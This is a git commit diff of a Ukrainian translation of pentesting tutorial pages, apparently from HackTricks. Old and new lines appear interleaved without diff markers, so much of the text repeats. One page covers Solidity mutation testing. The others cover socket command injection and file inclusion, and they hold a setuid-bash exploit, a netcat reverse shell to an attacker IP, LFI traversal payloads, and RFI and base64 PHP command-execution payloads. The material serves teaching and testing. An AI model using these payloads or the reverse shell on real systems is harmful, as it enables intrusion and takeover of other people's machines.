Translated ['', 'src/blockchain/smart-contract-security/mutation-testing

This commit is contained in:
Translator 2025-10-01 09:26:11 +00:00
parent a8dc0cbbb5
commit f9c44abc17
3 changed files with 238 additions and 200 deletions

View File

@ -1,14 +1,14 @@
# Мутаційне тестування для Solidity зі Slither (slither-mutate) # Mutation Testing for Solidity with Slither (slither-mutate)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
Мутаційне тестування "tests your tests" систематично вносить невеликі зміни (mutants) у ваш код на Solidity і повторно запускає набір тестів. Якщо тест падає — мутант вбито. Якщо тести все ще проходять — мутант виживає, що виявляє сліпу зону у вашому наборі тестів, яку line/branch coverage не може виявити. Mutation testing "tests your tests" by systematically introducing small changes (mutants) into your Solidity code and re-running your test suite. If a test fails, the mutant is killed. If the tests still pass, the mutant survives, revealing a blind spot in your test suite that line/branch coverage cannot detect.
Ключова ідея: покриття показує, що код був виконаний; мутаційне тестування показує, чи поведінка фактично перевіряється. Key idea: Coverage shows code was executed; mutation testing shows whether behavior is actually asserted.
## Чому покриття може вводити в оману ## Чому покриття може вводити в оману
Розглянемо цю просту перевірку порогу: Розгляньте цю просту перевірку порогу:
```solidity ```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) { function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) { if (deposit >= 1 ether) {
@ -18,39 +18,39 @@ return false;
} }
} }
``` ```
Модульні тести, які перевіряють лише значення нижче і вище порога, можуть досягати 100% покриття рядків/гілок, при цьому не перевіряючи граничну рівність (==). Рефакторинг до `deposit >= 2 ether` все одно пройде такі тести, тихо порушивши логіку протоколу. Модульні тести, що перевіряють лише значення нижче та вище порогу, можуть досягти 100% покриття рядків/гілок, одночасно не перевіряючи граничну перевірку на рівність (==). Рефакторинг до `deposit >= 2 ether` все одно пройде такі тести, тихо порушивши логіку протоколу.
Mutation testing виявляє цю прогалину шляхом мутування умови і перевірки, що ваші тести провалюються. Мутаційне тестування виявляє цю прогалину шляхом мутації умови та перевірки, що ваші тести не проходять.
## Поширені mutation-оператори для Solidity ## Поширені оператори мутацій Solidity
Механізм мутацій Slither застосовує багато дрібних змін, що змінюють семантику, наприклад: Slithers mutation engine застосовує багато невеликих змін, що змінюють семантику, таких як:
- Заміна операторів: `+``-`, `*``/`, etc. - Заміна операторів: `+``-`, `*``/`, etc.
- Заміна присвоєння: `+=``=`, `-=``=` - Заміна присвоєння: `+=``=`, `-=``=`
- Заміна констант: ненульове → `0`, `true``false` - Заміна констант: ненульове → `0`, `true``false`
- Заперечення/заміна умови всередині `if`/loops - Заперечення/заміна умови всередині `if`/loops
- Закоментувати цілі рядки (CR: Comment Replacement) - Коментування цілих рядків (CR: Comment Replacement)
- Замінити рядок на `revert()` - Замінити рядок на `revert()`
- Заміна типів даних: напр., `int128``int64` - Заміна типів даних: наприклад, `int128``int64`
Мета: усунути 100% згенерованих мутантів або обґрунтувати тих, що вижили, чітким поясненням. Мета: знищити 100% згенерованих мутантів або обґрунтувати тих, що вижили, чітким поясненням.
## Running mutation testing with slither-mutate ## Running mutation testing with slither-mutate
Requirements: Slither v0.10.2+. Requirements: Slither v0.10.2+.
- Перелік опцій і мутаторів: - Перелік опцій та мутаційних операторів:
```bash ```bash
slither-mutate --help slither-mutate --help
slither-mutate --list-mutators slither-mutate --list-mutators
``` ```
- Foundry приклад (захопити результати та зберегти повний лог): - Приклад Foundry (зафіксувати результати й вести повний журнал):
```bash ```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results) slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
``` ```
- Якщо ви не використовуєте Foundry, замініть `--test-cmd` на спосіб запуску тестів (наприклад, `npx hardhat test`, `npm test`). - Якщо ви не використовуєте Foundry, замініть `--test-cmd` на команду, якою ви запускаєте тести (наприклад, `npx hardhat test`, `npm test`).
Артефакти та звіти зберігаються за замовчуванням у `./mutation_campaign`. Невиявлені (виживші) мутанти копіюються туди для перевірки. Артефакти та звіти за замовчуванням зберігаються в `./mutation_campaign`. Незловлені (вцілілі) мутанти копіюються туди для перевірки.
### Розуміння виводу ### Розуміння виводу
@ -59,58 +59,58 @@ slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results
INFO:Slither-Mutate:Mutating contract ContractName INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
``` ```
- Тег у дужках — mutator alias (наприклад, `CR` = Comment Replacement). - Тег у дужках — це псевдонім мутатора (наприклад, `CR` = Comment Replacement).
- `UNCAUGHT` означає, що tests пройшли під mutated поведінкою → відсутнє твердження. - `UNCAUGHT` означає, що тести пройшли за зміненої поведінки → відсутня перевірка.
## Зменшення часу виконання: віддавайте пріоритет impactful mutants ## Скорочення часу виконання: надавайте пріоритет впливовим мутантам
Mutation campaigns можуть займати години або дні. Поради, щоб зменшити витрати: Кампії з мутацій можуть тривати години або дні. Поради для зменшення витрат:
- Scope: Починайте лише з критичних contracts/directories, потім розширюйте. - Scope: почніть лише з критичних контрактів/директорій, потім розширюйте.
- Prioritize mutators: Якщо high-priority mutant на рядку виживає (наприклад, цілий рядок закоментований), можна пропустити lower-priority variants для цього рядка. - Prioritize mutators: якщо високопріоритетний мутант на рядку вижив (наприклад, цілий рядок закоментовано), можна пропустити менш пріоритетні варіанти для цього рядка.
- Parallelize tests, якщо ваш runner це дозволяє; кешуйте dependencies/builds. - Parallelize tests if your runner allows it; кешуйте залежності/зборки.
- Fail-fast: зупиняйтеся раніше, коли зміна явно демонструє прогалину в assertion. - Fail-fast: зупиняйтеся раніше, коли зміна явно демонструє відсутність перевірки.
## Triage workflow для surviving mutants ## Робочий процес триажу для мутантів, що вижили
1) Inspect the mutated line and behavior. 1) Огляньте змінений рядок коду та поведінку.
- Reproduce locally by applying the mutated line and running a focused test. - Відтворіть локально, застосувавши змінений рядок і запустивши цілеспрямований тест.
2) Strengthen tests to assert state, not only return values. 2) Посиліть тести, щоб перевіряти стан, а не лише значення, що повертаються.
- Add equality-boundary checks (e.g., test threshold `==`). - Додайте перевірки меж рівності (наприклад, тест порогу `==`).
- Assert post-conditions: balances, total supply, authorization effects, and emitted events. - Перевіряйте постумови: баланси, total supply, ефекти авторизації та згенеровані події.
3) Replace overly permissive mocks with realistic behavior. 3) Замініть надто ліберальні mocks на реалістичну поведінку.
- Ensure mocks enforce transfers, failure paths, and event emissions that occur on-chain. - Переконайтеся, що mocks відображають transfers, failure paths і event emissions, які відбуваються on-chain.
4) Add invariants for fuzz tests. 4) Додайте інваріанти для fuzz-тестів.
- E.g., conservation of value, non-negative balances, authorization invariants, monotonic supply where applicable. - Наприклад: збереження вартості, невід'ємні баланси, інваріанти авторизації, монотонність total supply там, де це застосовно.
5) Re-run slither-mutate until survivors are killed or explicitly justified. 5) Перезапускайте slither-mutate, доки всі вижилі мутанти не будуть вбиті або явно обґрунтовані.
## Case study: revealing missing state assertions (Arkis protocol) ## Приклад: виявлення відсутніх перевірок стану (Arkis protocol)
Mutation campaign під час аудиту Arkis DeFi protocol виявила survivors, такі як: Кампанія мутацій під час аудиту Arkis DeFi protocol виявила вижилі, наприклад:
```text ```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
``` ```
Закоментування присвоєння не порушило тести, що свідчить про відсутність перевірок кінцевого стану. Корінь проблеми: код довіряв керованому користувачем `_cmd.value` замість перевірки фактичних переказів токенів. Атакуючий міг десинхронізувати очікувані та фактичні перекази, щоб викрасти кошти. Наслідок: високий ризик для платоспроможності протоколу. Закоментування присвоєння не зламало тести, що підтверджує відсутність post-state assertions. Корінь проблеми: код довіряв керованому користувачем `_cmd.value` замість перевіряти фактичні перекази токенів. Атакуючий міг би десинхронізувати очікувані й фактичні перекази, щоб вивести кошти. Наслідок: ризик високої критичності для платоспроможності протоколу.
Guidance: вважайте вцілілих мутантів, які впливають на перекази коштів, облік або контроль доступу, високоризиковими доти, доки їх не ліквідують. Guidance: Вважайте survivors, які впливають на перекази вартості, облік або контроль доступу, високоризиковими, поки їх не вбито.
## Practical checklist ## Практичний чекліст
- Run a targeted campaign: - Запустіть цілеспрямовану кампанію:
- `slither-mutate ./src/contracts --test-cmd="forge test"` - `slither-mutate ./src/contracts --test-cmd="forge test"`
- Проаналізуйте вцілілих мутантів і напишіть тести/інваріанти, які провалювалися б при модифікованій поведінці. - Проведіть триаж survivors і напишіть тести/інваріанти, які проваляться при мутованій поведінці.
- Assert balances, supply, authorizations, and events. - Перевірте баланси, supply, авторизації та події.
- Add boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays). - Додайте тести меж (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Replace unrealistic mocks; simulate failure modes. - Замініть нереалістичні mocks; змоделюйте режими відмов.
- Iterate until all mutants are killed or justified with comments and rationale. - Повторюйте, поки всі mutants не будуть killed або виправдані коментарями та обґрунтуванням.
## References ## Посилання
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/) - [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf) - [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither) - [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,10 @@
# Socket Command Injection
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Приклад прив'язки сокета з Python ## Socket binding example with Python
У наступному прикладі **unix-сокет створюється** (`/tmp/socket_test.s`), і все, що **отримується**, буде **виконано** за допомогою `os.system`. Я знаю, що ви не знайдете це в диких умовах, але мета цього прикладу - побачити, як виглядає код, що використовує unix-сокети, і як управляти введенням у найгіршому випадку. У наведеному прикладі **unix socket створюється** (`/tmp/socket_test.s`) і все, що **отримується**, буде **виконано** за допомогою `os.system`. Я розумію, що ви не знайдете цього в реальному житті, але мета цього прикладу — показати, як виглядає код, що використовує unix sockets, і як обробляти вхідні дані в найгіршому можливому випадку.
```python:s.py ```python:s.py
import socket import socket
import os, os.path import os, os.path
@ -24,15 +26,50 @@ print(datagram)
os.system(datagram) os.system(datagram)
conn.close() conn.close()
``` ```
**Виконайте** код за допомогою python: `python s.py` та **перевірте, як сокет слухає**: **Виконайте** код за допомогою python: `python s.py` і **перевірте, як socket прослуховує**:
```python ```python
netstat -a -p --unix | grep "socket_test" netstat -a -p --unix | grep "socket_test"
(Not all processes could be identified, non-owned process info (Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.) will not be shown, you would have to be root to see it all.)
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
``` ```
**Експлуатація** **Exploit**
```python ```python
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
``` ```
## Кейс: Root-owned UNIX socket signal-triggered escalation (LG webOS)
Деякі привілейовані демони відкривають root-owned UNIX socket, який приймає untrusted input і пов'язує привілейовані дії з thread-IDs та signals. Якщо протокол дозволяє unprivileged client впливати на те, який native thread буде ціллю, ви можете зуміти викликати привілейований код і escalate.
Спостережуваний шаблон:
- Підключитися до root-owned socket (e.g., /tmp/remotelogger).
- Створити thread і отримати його native thread id (TID).
- Надіслати TID (packed) плюс padding як запит; отримати acknowledgement.
- Надіслати конкретний signal цьому TID, щоб trigger привілейовану поведінку.
Мінімальний PoC ескіз:
```python
import socket, struct, os, threading, time
# Spawn a thread so we have a TID we can signal
th = threading.Thread(target=time.sleep, args=(600,)); th.start()
tid = th.native_id # Python >=3.8
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect("/tmp/remotelogger")
s.sendall(struct.pack('<L', tid) + b'A'*0x80)
s.recv(4) # sync
os.kill(tid, 4) # deliver SIGILL (example from the case)
```
Щоб перетворити це на root shell, можна використати простий named-pipe + nc pattern:
```bash
rm -f /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
```
Примітки:
- Цей клас помилок виникає через довіру до значень, отриманих із непривілейованого стану клієнта (TIDs), і прив'язування їх до привілейованих signal handlers або логіки.
- Зміцніть безпеку, вимагаючи credentials на socket, перевіряючи формати повідомлень та відокремлюючи привілейовані операції від зовні переданих thread identifiers.
## Посилання
- [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,14 +4,14 @@
## File Inclusion ## File Inclusion
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Перевага: ви можете написати код, і сервер його виконає). У PHP це за замовчуванням **вимкнено** (**allow_url_include**).\ **Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Перевага: ви можете написати код, і сервер його виконає). У php це за замовчуванням **відключено** (**allow_url_include**).\
**Local File Inclusion (LFI):** Сервер завантажує локальний файл. **Local File Inclusion (LFI):** Сервер завантажує локальний файл.
Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером. Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажено сервером.
Уразливі **PHP functions**: require, require_once, include, include_once Уразливі **PHP functions**: require, require_once, include, include_once
Корисний інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) Цікавий інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE files ## Blind - Interesting - LFI2RCE files
```python ```python
@ -19,37 +19,37 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
``` ```
### **Linux** ### **Linux**
**Змішавши кілька \*nix LFI списків і додавши більше шляхів, я створив цей:** **Комбінуючи кілька \*nix LFI списків і додаючи більше шляхів, я створив цей:**
{{#ref}} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}} {{#endref}}
Спробуйте також замінити `/` на `\`\ Спробуйте також змінити `/` на `\`\
Спробуйте також додати `../../../../../` Спробуйте також додати `../../../../../`
Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) Список, який використовує кілька технік для пошуку файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows** ### **Windows**
Злиття різних wordlists: Об'єднання різних wordlists:
{{#ref}} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}} {{#endref}}
Спробуйте також замінити `/` на `\`\ Спробуйте також змінити `/` на `\`\
Спробуйте також видалити `C:/` і додати `../../../../../` Спробуйте також видалити `C:/` та додати `../../../../../`
Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) Список, який використовує кілька технік для пошуку файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X** ### **OS X**
Перевірте LFI список для Linux. Перегляньте LFI список linux.
## Основи LFI та обхідні методи ## Основи LFI та методи обходу
Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>). Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
``` ```
@ -63,11 +63,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
``` ```
### **Null byte (%00)** ### **Null byte (%00)**
Bypass додавання додаткових символів у кінець наданого рядка (bypass of: $\_GET\['param']."php") Обхід додавання додаткових символів у кінець наданого рядка (обхід: $\_GET\['param']."php")
``` ```
http://example.com/index.php?page=../../../etc/passwd%00 http://example.com/index.php?page=../../../etc/passwd%00
``` ```
Це **виправлено з PHP 5.4** Це **вирішено починаючи з PHP 5.4**
### **Кодування** ### **Кодування**
@ -78,44 +78,44 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
``` ```
### Із існуючої папки ### З існуючої папки
Можливо, back-end перевіряє шлях до папки: Можливо, back-end перевіряє шлях до папки:
```python ```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
``` ```
### Дослідження директорій файлової системи на сервері ### Дослідження каталогів файлової системи на сервері
Файлову систему сервера можна рекурсивно досліджувати для виявлення директорій, а не лише файлів, використовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього: Файлову систему сервера можна рекурсивно обстежити, щоб визначити каталоги, а не лише файли, використовуючи певні техніки. Процес включає визначення глибини директорії та перевірку наявності певних папок. Нижче наведено детальний метод, як це зробити:
1. **Визначте глибину директорії:** Визначте глибину поточної директорії шляхом успішного отримання файлу `/etc/passwd` (застосовно, якщо сервер працює під Linux). Приклад URL може мати таку структуру, що вказує на глибину три: 1. **Determine Directory Depth:** Визначте глибину поточної директорії, успішно отримавши файл `/etc/passwd` (застосовно, якщо сервер базується на Linux). Приклад URL може бути побудований так, вказуючи глибину три:
```bash ```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3 http://example.com/index.php?page=../../../etc/passwd # depth of 3
``` ```
2. **Перевірка папок:** Додайте назву підозрілої папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на одиницю: 2. **Перевірте папки:** Додайте ім'я підозрюваної папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на один:
```bash ```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
``` ```
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка: 3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
- **Помилка / Немає виводу:** Папка `private` ймовірно не існує за вказаним шляхом. - **Помилка / Відсутність виводу:** Папка `private` ймовірно не існує за вказаним шляхом.
- **Вміст `/etc/passwd`:** Підтверджено наявність папки `private`. - **Вміст `/etc/passwd`:** Наявність папки `private` підтверджується.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково досліджувати на наявність підкаталогів або файлів, використовуючи ту саму техніку або традиційні Local File Inclusion (LFI) методи. 4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевіряти на наявність підкаталогів або файлів, використовуючи ту ж техніку або традиційні Local File Inclusion (LFI) методи.
Щоб дослідити директорії в інших частинах файлової системи, відповідно змініть payload. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточна директорія знаходиться на глибині 3), використовуйте: Для дослідження директорій у інших місцях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточний каталог має глибину 3), використайте:
```bash ```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
``` ```
### **Path Truncation Technique** ### **Path Truncation Technique**
Path truncation — це метод, який використовують для маніпулювання шляхами файлів у веб-застосунках. Часто його використовують для доступу до обмежених файлів, оминаючи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета — сформувати шлях, який після внесених заходом безпеки змін все одно вказуватиме на потрібний файл. Path truncation — метод, який застосовується для маніпуляції шляхами до файлів у веб-додатках. Часто його використовують для доступу до обмежених файлів, обходячи заходи безпеки, які додають додаткові символи в кінець шляхів до файлів. Мета — сформувати шлях до файлу так, щоб після змін заходами безпеки він все ще вказував на потрібний файл.
У PHP різні представлення шляху файлу можуть вважатися еквівалентними через особливості файлової системи. Наприклад: У PHP різні представлення шляху до файлу можуть розглядатися як еквівалентні через характер файлової системи. Наприклад:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, та `/etc/passwd/` обробляються як один і той же шлях. - `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, і `/etc/passwd/` трактуються як один і той самий шлях.
- Коли останні 6 символів — `passwd`, додавання `/` (тобто `passwd/`) не змінює цільового файлу. - Коли останні 6 символів — `passwd`, додавання `/` (утворюючи `passwd/`) не змінює цільовий файл.
- Аналогічно, якщо до шляху додається `.php` (наприклад, `shellcode.php`), додавання `/.` вкінці не змінить файл, до якого відбувається доступ. - Аналогічно, якщо до шляху додається `.php` (наприклад, `shellcode.php`), додавання `/.` наприкінці не змінює доступний файл.
Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd` — часта ціль через конфіденційний вміст (інформація про облікові записи користувачів): Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd` — частої цілі через її чутливий вміст (інформація про облікові записи користувачів):
``` ```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
``` ```
У цих сценаріях кількість traversals, які потрібні, може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера. У цих сценаріях кількість необхідних `../` послідовностей може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
- **Using Dot Segments and Additional Characters**: traversal sequences (`../`) у поєднанні з додатковими dot segments та символами можна використовувати для навігації файловою системою, ефективно ігноруючи сервером додані рядки. - **Using Dot Segments and Additional Characters**: Послідовності (`../`) у поєднанні з додатковими крапковими сегментами та символами можуть використовуватися для навігації по файловій системі, фактично ігноруючи додані сервером рядки.
- **Determining the Required Number of Traversals**: Через метод спроб і помилок можна знайти точну кількість traversal sequences (`../`) необхідних для переходу до кореневого каталогу, а потім до `/etc/passwd`, гарантуючи, що будь-які додані рядки (наприклад, `.php`) нейтралізовані, але бажаний шлях (`/etc/passwd`) залишається незмінним. - **Determining the Required Number of Traversals**: Шляхом проб і помилок можна визначити точну кількість `../` послідовностей, необхідних для виходу до кореневого каталогу, а потім до `/etc/passwd`, гарантуючи, що будь-які додані рядки (наприклад, `.php`) будуть нейтралізовані, але бажаний шлях (`/etc/passwd`) залишиться незмінним.
- **Starting with a Fake Directory**: Загальною практикою є починати шлях з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або для виконання вимог логіки парсингу шляху сервера. - **Starting with a Fake Directory**: Зазвичай шлях починають з неіснуючого каталогу (наприклад, `a/`). Ця техніка використовується як запобіжний захід або щоб виконати вимоги логіки розбору шляхів на сервері.
When employing path truncation techniques, важливо розуміти поведінку парсингу шляху сервером і структуру файлової системи. Кожен сценарій може вимагати іншого підходу, і часто необхідне тестування, щоб знайти найефективніший метод. When employing path truncation techniques, it's crucial to understand the server's path parsing behavior and filesystem structure. Each scenario might require a different approach, and testing is often necessary to find the most effective method.
**Ця уразливість була виправлена в PHP 5.3.** **This vulnerability was corrected in PHP 5.3.**
### **Filter bypass tricks** ### **Filter bypass tricks**
``` ```
@ -145,25 +145,25 @@ http://example.com/index.php?page=PhP://filter
``` ```
## Remote File Inclusion ## Remote File Inclusion
У php це вимкнено за замовчуванням, бо **`allow_url_include`** встановлено в **Off.** Воно має бути **On**, щоб це працювало, і в такому випадку ви можете include PHP файл зі свого сервера і отримати RCE: У php це вимкнено за замовчуванням, оскільки **`allow_url_include`** встановлено в **Off.** Його потрібно встановити в **On**, щоб це працювало, і в такому випадку ви можете include PHP-файл з вашого server і отримати RCE:
```python ```python
http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php
``` ```
Якщо з якоїсь причини **`allow_url_include`** є **On**, але PHP **filtering** доступ до зовнішніх веб-сторінок, [згідно з цим постом](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використати протокол data з base64, щоб декодувати b64 PHP-код і отримати RCE: Якщо з якоїсь причини **`allow_url_include`** є **On**, але PHP **фільтрує** доступ до зовнішніх веб-сторінок, [згідно з цією публікацією](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), ви можете, наприклад, використати data protocol з base64, щоб декодувати b64 PHP code і egt RCE:
``` ```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
``` ```
> [!TIP] > [!TIP]
> У попередньому коді фінальний `+.txt` було додано, бо зловмиснику потрібен був string, який закінчувався на `.txt`, тож string завершується ним, і після b64 decode ця частина поверне лише junk, а справжній PHP code буде включено (і, отже, виконано). > У попередньому коді кінцевий `+.txt` був доданий, тому що атакуючий потребував рядка, який закінчується на `.txt`, тож рядок закінчується ним, і після b64 decode ця частина поверне лише сміття, а справжній PHP-код буде включено (і, отже, виконано).
Ще один приклад **без використання протоколу `php://`** буде: Інший приклад **не використовуючи протокол `php://`** був би:
``` ```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
``` ```
## Python кореневий елемент ## Python кореневий елемент
У Python у коді, як у цьому: У python у коді, як-от цьому:
```python ```python
# file_name is controlled by a user # file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name) os.path.join(os.getcwd(), "public", file_name)
@ -175,15 +175,15 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
``` ```
Це очікувана поведінка згідно з [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): Це очікувана поведінка згідно з [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Якщо компонент є абсолютним шляхом, всі попередні компоненти відкидаються і об'єднання продовжується з компонента абсолютного шляху. > Якщо компонент є абсолютним шляхом, усі попередні компоненти відкидаються і об'єднання продовжується з компонента абсолютного шляху.
## Java Перелік директорій ## Java: перелік директорій
Здається, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, то **повертається список вмісту директорії**. Це не відбуватиметься в інших мовах (наскільки мені відомо). Схоже, якщо у вас є Path Traversal у Java і ви **запитуєте директорію** замість файлу, то **повертається перелік вмісту директорії**. За інших мов це, наскільки мені відомо, не трапляється.
## Топ-25 параметрів ## Топ-25 параметрів
Ось список топ-25 параметрів, які можуть бути вразливі до local file inclusion (LFI) vulnerabilities (from [link](https://twitter.com/trbughunters/status/1279768631845494787)): Ось список топ-25 параметрів, які можуть бути вразливими до local file inclusion (LFI) (з [link](https://twitter.com/trbughunters/status/1279768631845494787)):
``` ```
?cat={payload} ?cat={payload}
?dir={payload} ?dir={payload}
@ -211,38 +211,38 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
